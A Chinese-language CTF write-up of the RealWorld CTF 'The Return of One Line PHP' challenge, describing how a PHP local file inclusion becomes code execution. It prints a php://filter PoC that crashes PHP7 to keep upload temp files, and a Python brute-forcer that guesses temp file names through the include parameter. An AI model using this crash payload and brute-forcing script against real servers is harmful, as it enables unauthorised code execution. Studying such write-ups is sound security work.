Contents
  1. 1. 从本地文件包含到远程代码执行
    1. 1.1. 文件流保存
    2. 1.2. 临时文件的保留
    3. 1.3. php7的异常退出
    4. 1.4. 碰撞

从本地文件包含到远程代码执行

RealWorld CTF比赛期间和队友熬夜成功一血打下TP-Link摄像头,撒花兴喜🎉,但因为0day未修复的原因就暂不记录,记录下挺有意思的一道web题。
题目来源于RealWorld CTF中的The Return of One Line PHP,起初题目来源于🍊在HITCON2018出的One Line PHP Change,利用filter与session.upload构造开头@<?php文件流来进行RCE。

文件流保存

php在处理请求数据包时,若包含一个文件上传的流,那么会先将包中的文件流保存到临时目录下,并且以php+6位随机数名称保存,经过用户编写好的代码处理完毕后,再unlink掉临时保存的文件。

详见:
PHP LFI rfc1867 temporary file

临时文件的保留

这些临时文件在被php删除前有一段空白时间

比赛时刚开始队友想到用请求无法访问的地址如https://www.google.com来让处理超时一段时间,最终测试发现临时文件在服务器上最多能存留30s的时间,接着被php删除。
刚开始思路就是大量请求,尽可能让在30s的时间内生成大量临时文件,然后去碰撞到这些文件,但6位的随机数在30秒中碰撞实在是要太欧皇才可以。

php7的异常退出

poc:

1
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

详情链接:
poc详细分析

若是能将临时文件永久保留下来,生成大量临时文件再去碰撞那么机率将会高很多。
上面的poc就可以导致php7全版本在处理时异常退出,那么临时文件就不会因为执行后面的unlink操作而被删除。

碰撞


最终花了将近39分钟碰撞到了生成的临时文件,再去包含就可以正常拿到shell了

1
2
3
临时文件数量
$ ls ./php* | wc
23278 23278 279336

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests, random
import datetime

charset = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"

host = "127.0.0.1"
port = 8001
base_url = "http://%s:%d" % (host, port)
starttime = datetime.datetime.now()


def get_filename():
ret = ""
for i in range(6):
ret += random.choice(charset)
return ret

def brute_force_tmp_files():
filename = get_filename()
url = "{}/index.php?orange=/tmp/php{}".format(base_url, filename)
print "php" + filename
try:
r = requests.get(url)
if b'flag' in r.text:
print("[+] Include success!")
print(url)
endtime = datetime.datetime.now()
print (endtime-starttime).seconds
exit()
except Exception as e:
pass


def main():
flag = False
while 1:
brute_force_tmp_files()
pass


if __name__ == "__main__":
main()
Contents
  1. 1. 从本地文件包含到远程代码执行
    1. 1.1. 文件流保存
    2. 1.2. 临时文件的保留
    3. 1.3. php7的异常退出
    4. 1.4. 碰撞